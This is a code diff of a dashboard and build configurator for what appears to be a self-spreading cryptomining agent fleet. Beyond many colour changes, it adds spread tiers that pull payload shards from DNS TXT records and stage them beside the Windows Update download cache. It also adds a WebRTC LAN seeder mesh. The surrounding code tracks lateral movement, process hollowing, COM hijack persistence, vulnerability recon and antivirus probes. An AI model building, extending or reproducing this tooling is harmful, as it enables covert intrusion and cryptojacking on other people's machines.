.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border: 1px solid rgba(0, 232, 245, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
@@ -20,7 +20,7 @@
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
color: var(--accent-cyan, #00e8f5);
}
.syscheck-sub {
@@ -78,7 +78,7 @@
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
color: #00e8f5;
font-weight: 600;
}
.syscheck-subhead {

View File

@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
const LEVEL_COLORS: Record<number, string> = {
4: '#39ff14', // neon green
3: '#00f5ff', // cyan
3: '#00e8f5', // cyan
2: '#ffb020', // amber
1: '#ff4466', // red
0: '#444', // grey

View File

@@ -42,6 +42,17 @@ describe('Recon badges', () => {
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
});
it('JoinLaneBadge renders new spread tier labels', () => {
render(<JoinLaneBadge lane="dns_txt" />);
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="webrtc_mesh" />);
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="wsus_cache_peer" />);
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
});
it('JoinLaneBadge renders docker lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();

View File

@@ -13,7 +13,7 @@
backdrop-filter: blur(10px);
box-shadow:
0 4px 18px rgba(0, 0, 0, 0.55),
0 0 1px rgba(0, 245, 255, 0.15);
0 0 1px rgba(0, 232, 245, 0.15);
pointer-events: auto;
opacity: var(--deck-ambient-ui-opacity, 0.72);
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
@@ -22,10 +22,10 @@
.global-music-player:hover,
.global-music-player:focus-within {
opacity: 1;
border-color: rgba(0, 245, 255, 0.35);
border-color: rgba(0, 232, 245, 0.35);
box-shadow:
0 6px 22px rgba(0, 0, 0, 0.6),
0 0 14px rgba(0, 245, 255, 0.12);
0 0 14px rgba(0, 232, 245, 0.12);
}
.global-music-player__play {
@@ -35,10 +35,10 @@
width: 1.75rem;
height: 1.75rem;
padding: 0;
border: 1px solid rgba(0, 245, 255, 0.3);
border: 1px solid rgba(0, 232, 245, 0.3);
border-radius: 2px;
background: rgba(12, 18, 28, 0.9);
color: var(--neon-cyan, #00f5ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
flex-shrink: 0;
}
@@ -49,8 +49,8 @@
}
.global-music-player__play:hover {
border-color: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
border-color: var(--neon-cyan, #00e8f5);
box-shadow: 0 0 10px rgba(0, 232, 245, 0.2);
}
.global-music-player__vol {
@@ -83,8 +83,8 @@
height: 10px;
margin-top: -3.5px;
border-radius: 50%;
background: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
background: var(--neon-cyan, #00e8f5);
box-shadow: 0 0 6px rgba(0, 232, 245, 0.4);
}
.sr-only {

View File

@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
)}
<div className="sidebar-sig font-tech">
<span className="sig-love">made with <span className="sig-heart"></span> drjones</span>
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
<span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
</div>
</div>
</nav>

View File

@@ -27,7 +27,7 @@
.pool-preset-provider {
font-size: 0.75rem;
letter-spacing: 0.06em;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
margin-bottom: 0.15rem;
}
@@ -54,7 +54,7 @@
.pool-preset-order {
font-size: 0.82rem;
padding: 0.5rem 0.65rem;
border-left: 3px solid var(--neon-cyan, #0ff);
border-left: 3px solid var(--neon-cyan, #00e8f5);
background: rgba(0, 40, 50, 0.25);
}

View File

@@ -33,7 +33,7 @@ const TOPOLOGY_NODE_CAP = 200;
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
const isOnline = agent.status === 'online';
const isHashing = agent.hashrate_15m > 0;
const color = isOnline ? (isHashing ? '#00f5ff' : '#00aa55') : '#ff4444';
const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444';
const pulseRef = useRef<THREE.Mesh>(null);
const ringRef = useRef<THREE.Mesh>(null);
@@ -76,7 +76,7 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
{/* Laser Pulse simulating hashing packets */}
{isOnline && isHashing && !isStale && (
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00ffff" />
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00e8f5" />
)}
</group>
);
@@ -106,7 +106,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
}, [displayAgents]);
return (
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 232, 245, 0.1)' }}>
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
@@ -115,7 +115,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
<color attach="background" args={['#050508']} />
<ambientLight intensity={0.5} />
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00f5ff" />
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00e8f5" />
<Stars radius={100} depth={50} count={3000} factor={3} saturation={0.5} fade speed={1} />
{/* Server Node (Mothership) */}

View File

@@ -43,7 +43,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
if (Math.random() > 0.99 && shares.length > 0) {
const share = shares[Math.floor(Math.random() * shares.length)];
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
ctx.fillStyle = share.accepted ? '#00e8f5' : '#ff4444';
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
ctx.fillStyle = '#0F0';
} else {

View File

@@ -29,7 +29,7 @@
.pipeline-step.pipeline-active {
border-color: var(--neon-cyan);
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15);
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15);
}
.pipeline-icon {
@@ -255,7 +255,7 @@
.roadmap-low .roadmap-priority {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
border: 1px solid rgba(0, 232, 245, 0.35);
}
.guide-step-card {
@@ -431,16 +431,16 @@
font-family: var(--font-tech, monospace);
letter-spacing: 0.06em;
padding: 0.15rem 0.45rem;
background: rgba(0, 245, 255, 0.09);
border: 1px solid rgba(0, 245, 255, 0.3);
background: rgba(0, 232, 245, 0.09);
border: 1px solid rgba(0, 232, 245, 0.3);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
transition: background 0.15s;
}
.guide-code-copy:hover {
background: rgba(0, 245, 255, 0.2);
background: rgba(0, 232, 245, 0.2);
}
/* Network topology ASCII diagram */
@@ -487,7 +487,7 @@
/* Inline code links */
.guide-link {
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
text-decoration: underline;
text-underline-offset: 2px;
}

View File

@@ -378,7 +378,7 @@ describe('HashrateChart', () => {
data={sample}
displayMode="live"
title="Fleet Hash"
color="#00f5ff"
color="#00e8f5"
unit="H/s"
/>
);
@@ -571,6 +571,7 @@ describe('FleetToolbar', () => {
filters={filters}
onChange={vi.fn()}
selectedCount={2}
selectedAgents={agents}
onBulkAction={onBulk}
bulkBusy={false}
/>

View File

@@ -0,0 +1,64 @@
/**
* @vitest-environment node
*/
import { describe, expect, it } from 'vitest';
import {
buildAccessDepthModel,
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from './accessDepth';
import type { Agent } from '../types';
function agent(partial: Partial<Agent>): Agent {
return {
id: 'x',
name: 'n',
wallet: '',
ip: '1.1.1.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...partial,
};
}
describe('parseAccessDepthServerPolicy', () => {
it('reads lotl_onion_tiers and triple onion from config', () => {
const p = parseAccessDepthServerPolicy({
server: {
lotl_onion_tiers: ['docker', 'smb'],
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
},
});
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
});
});
describe('buildAccessDepthModel pending chain', () => {
it('marks skipped tiers and pending remainder', () => {
const model = buildAccessDepthModel(
agent({ platform: 'windows' }),
parseAccessDepthDiagnostics({
tier_chain_order: ['a', 'b', 'c'],
tier_chain_skipped: ['a'],
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
}),
);
expect(model.pendingTiers).toEqual(['c']);
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
expect(model.failed).toHaveLength(1);
});
});

View File

@@ -0,0 +1,361 @@
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
/** Mirrors agent/miner/environment_probe.go */
export interface EnvironmentProbes {
docker?: boolean;
wsl?: boolean;
pwsh?: boolean;
dotnet?: boolean;
gpu?: boolean;
av_blocks_exe?: boolean;
webview2?: boolean;
}
export interface AccessDepthDiagnostics {
environment_probes?: EnvironmentProbes;
tier_chain_order?: string[];
tier_chain_skipped?: string[];
lotl_tier?: string;
lotl_attempts?: TierAttempt[];
active_method?: string;
execution_mode?: string;
}
export interface AccessDepthServerPolicy {
lotl_onion_tiers?: string[];
mining_tier_order?: string[];
mining_skip_tiers?: string[];
triple_onion?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
}
export interface ProbeChip {
key: string;
label: string;
ok: boolean;
}
export interface AccessDepthAttemptRow {
tier: string;
label: string;
ok: boolean;
error?: string;
phase?: string;
}
export interface OnionTierRow {
index: number;
tier: string;
label: string;
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
}
export interface AccessDepthModel {
platformLabel: string;
osLine: string;
probes: ProbeChip[];
spreadCaps: string[];
privilegeHints: string[];
activeTier?: string;
activeTierLabel?: string;
joinLane?: string;
succeeded: AccessDepthAttemptRow[];
failed: AccessDepthAttemptRow[];
inProgressTier?: string;
inProgressLabel?: string;
pendingTiers: string[];
pendingLabels: string[];
miningOnion: OnionTierRow[];
spreadOnion: OnionTierRow[];
tripleOnionSummary?: string;
miningOrderSource: 'agent' | 'server' | 'default';
}
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
export const DEFAULT_MINING_TIER_ORDER = [
'exe_subprocess',
'docker_load',
'container',
'wsl',
'ps_inmemory',
'cpu_inprocess',
'gpu_subprocess',
'stratum_direct',
] as const;
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
'discover_and_join',
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
];
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const probes: EnvironmentProbes = {};
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
if (typeof row[key] === 'boolean') probes[key] = row[key];
}
return Object.keys(probes).length > 0 ? probes : undefined;
}
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
const tier_chain_order = Array.isArray(raw.tier_chain_order)
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const lotl_tier =
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
return {
environment_probes: parseEnvironmentProbes(raw.environment_probes),
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
lotl_tier,
lotl_attempts: attempts.length ? attempts : undefined,
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
};
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'Windows';
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
return platform?.trim() || 'Unknown';
}
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
const p = probes ?? {};
const chips: ProbeChip[] = [
{ key: 'docker', label: 'Docker', ok: p.docker === true },
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
];
if (p.av_blocks_exe === true) {
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
}
return chips.filter((c) => c.ok || probes != null);
}
function spreadCapabilities(agent: Agent): string[] {
const caps = agent.capabilities;
const out: string[] = [];
if (caps?.auto_spread) out.push('auto_spread');
if (caps?.mesh_p2p) out.push('mesh_p2p');
if (caps?.hole_punch) out.push('hole_punch');
if (caps?.process_hollowing) out.push('process_hollowing');
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
if (caps?.remote_aggressive) out.push('remote_aggressive');
return out;
}
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
const hints: string[] = [];
if (agent.agent_elevated === true) hints.push('elevated');
else if (agent.agent_elevated === false) hints.push('standard user');
if (agent.defender_rtp === true) hints.push('Defender RTP on');
else if (agent.defender_enabled === true) hints.push('Defender on');
if (agent.ssh_available === true) hints.push('SSH reachable');
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
return hints;
}
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
return attempts.map((a) => ({
tier: a.tier,
label: formatLotlTierLabel(a.tier),
ok: a.ok,
error: a.error,
phase: a.phase,
}));
}
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
}
function resolveMiningOrder(
diag: AccessDepthDiagnostics | undefined,
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
if (diag?.tier_chain_order?.length) {
return {
order: diag.tier_chain_order,
skipped: diag.tier_chain_skipped ?? [],
source: 'agent',
};
}
if (policy?.mining_tier_order?.length) {
return {
order: policy.mining_tier_order,
skipped: policy.mining_skip_tiers ?? [],
source: 'server',
};
}
if (agent.chain_order?.length) {
return {
order: agent.chain_order,
skipped: [],
source: 'agent',
};
}
return {
order: [...DEFAULT_MINING_TIER_ORDER],
skipped: diag?.tier_chain_skipped ?? [],
source: 'default',
};
}
function buildOnionRows(
order: string[],
skipped: string[],
attempts: TierAttempt[],
activeTier?: string,
): OnionTierRow[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
const active = activeTier?.toLowerCase();
return order.map((tier, i) => {
const key = tier.toLowerCase();
let status: OnionTierRow['status'] = 'neutral';
if (active && key === active) status = 'active';
else if (skippedSet.has(key)) status = 'skipped';
else if (okSet.has(key)) status = 'done';
else if (failSet.has(key)) status = 'failed';
else status = 'pending';
return {
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status,
};
});
}
function computePendingTiers(
order: string[],
skipped: string[],
attempts: TierAttempt[],
): string[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const touched = uniqueAttemptTiers(attempts);
return order.filter((t) => {
const key = t.toLowerCase();
return !skippedSet.has(key) && !touched.has(key);
});
}
function detectInProgress(
agent: Agent,
attempts: TierAttempt[],
pending: string[],
activeTier?: string,
): string | undefined {
if (agent.status !== 'online') return undefined;
if (activeTier) {
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
if (!lastForActive || !lastForActive.ok) return activeTier;
}
return pending[0];
}
export function buildAccessDepthModel(
agent: Agent,
diagnostics?: AccessDepthDiagnostics,
policy?: AccessDepthServerPolicy,
): AccessDepthModel {
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
const pending = computePendingTiers(order, skipped, attempts);
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
const spreadOrder =
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
? policy.lotl_onion_tiers
: [...DEFAULT_LOTL_ONION_TIERS];
const recon = policy?.triple_onion?.recon_tiers?.length
? policy.triple_onion.recon_tiers
: DEFAULT_TRIPLE_RECON;
const deploy = policy?.triple_onion?.deploy_lanes?.length
? policy.triple_onion.deploy_lanes
: DEFAULT_TRIPLE_DEPLOY;
const osParts = [platformLabel(agent.platform)];
if (agent.os_version) osParts.push(agent.os_version);
if (agent.arch) osParts.push(agent.arch);
return {
platformLabel: platformLabel(agent.platform),
osLine: osParts.join(' · '),
probes: probeChips(diagnostics?.environment_probes, agent),
spreadCaps: spreadCapabilities(agent),
privilegeHints: privilegeHints(agent, diagnostics),
activeTier,
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
joinLane: agent.join_lane,
succeeded: attemptRows(attempts.filter((a) => a.ok)),
failed: attemptRows(attempts.filter((a) => !a.ok)),
inProgressTier,
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
pendingTiers: pending,
pendingLabels: pending.map(formatLotlTierLabel),
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
spreadOnion: spreadOrder.map((tier, i) => ({
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status: 'neutral' as const,
})),
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}`,
miningOrderSource: source,
};
}
export function parseAccessDepthServerPolicy(config: {
server?: {
lotl_onion_tiers?: string[];
triple_onion_policy?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
};
}): AccessDepthServerPolicy {
const server = config.server;
return {
lotl_onion_tiers: server?.lotl_onion_tiers,
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
triple_onion: server?.triple_onion_policy
? {
recon_tiers: server.triple_onion_policy.recon_tiers,
deploy_lanes: server.triple_onion_policy.deploy_lanes,
}
: undefined,
};
}

View File

@@ -20,7 +20,8 @@ const HELP_TIP_FIELDS = [
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
'com_hijack_persist', 'linux_lotl_mode',
'set_alerts', 'set_alert_notifications', 'set_webhook',
] as const;

View File

@@ -69,6 +69,9 @@ export const DOC_ANCHORS: Record<string, string> = {
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
remote_aggressive: '/docs/#crucible-ops',

View File

@@ -29,7 +29,7 @@ describe('fleetGroups', () => {
it('groupsForAgent and primaryGroupForAgent', () => {
const groups = [
createFleetGroup('G1', '#00f5ff', ['x']),
createFleetGroup('G1', '#00e8f5', ['x']),
createFleetGroup('G2', '#ff0000', ['x', 'y']),
];
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);

View File

@@ -9,7 +9,7 @@ export interface FleetGroup {
}
export const FLEET_GROUP_COLORS = [
'#00f5ff',
'#00e8f5',
'#39ff14',
'#ff2da6',
'#b24bf3',

View File

@@ -29,7 +29,7 @@ describe('fleetHeatMap', () => {
{
id: 'g1',
name: 'Alpha',
color: '#00f5ff',
color: '#00e8f5',
agentIds: ['a1', 'a2'],
createdAt: '2026-01-01T00:00:00Z',
},

View File

@@ -13,6 +13,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});

View File

@@ -58,6 +58,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
usb_spread: false,
share_spread: false,
winrm_spread: false,
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
target_os: 'windows',

View File

@@ -47,9 +47,20 @@ describe('forgeFormNormalize', () => {
it('linux target clears Windows-only spread flags', () => {
const out = normalizeForgeForm(
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
baseForm({
target_os: 'linux',
target_arch: 'amd64',
winrm_spread: true,
dns_txt_spread: true,
wsus_cache_peer_spread: true,
webrtc_mesh_spread: true,
com_hijack_persist: true,
})
);
expect(out.winrm_spread).toBe(false);
expect(out.dns_txt_spread).toBe(false);
expect(out.wsus_cache_peer_spread).toBe(false);
expect(out.webrtc_mesh_spread).toBe(false);
expect(out.com_hijack_persist).toBe(false);
});

View File

@@ -77,6 +77,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
usb_spread: false,
share_spread: false,
winrm_spread: false,
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
@@ -141,6 +144,9 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
next.winrm_spread = false;
next.dns_txt_spread = false;
next.webrtc_mesh_spread = false;
next.wsus_cache_peer_spread = false;
next.com_hijack_persist = false;
}

View File

@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(11);
expect(next.lotl_onion_tiers).toHaveLength(14);
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);

View File

@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
},
dns_txt_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
},
wsus_cache_peer_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
},
webrtc_mesh_spread: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
},
com_hijack_persist: {
disabled: isUnixSingle,
badge: 'baked',

View File

@@ -2,14 +2,18 @@ import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists ten tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
it('lists fourteen tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
});
it('documents each tier with hint, definition, and example', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
// IDs must be a 1:1 match with the canonical tiers array
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
});
});

View File

@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
'dotnet',
'bits_curl',
'do_peer',
'wsus_cache_peer',
'dns_txt',
'webrtc_mesh',
'smb',
'winrm',
'linux',
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
example:
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
},
{
id: 'wsus_cache_peer',
label: 'wsus_cache_peer',
hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
definition:
'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
example:
'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
},
{
id: 'dns_txt',
label: 'dns_txt',
hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
definition:
'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
example:
'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
},
{
id: 'webrtc_mesh',
label: 'webrtc_mesh',
hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
definition:
'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
example:
'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
},
{
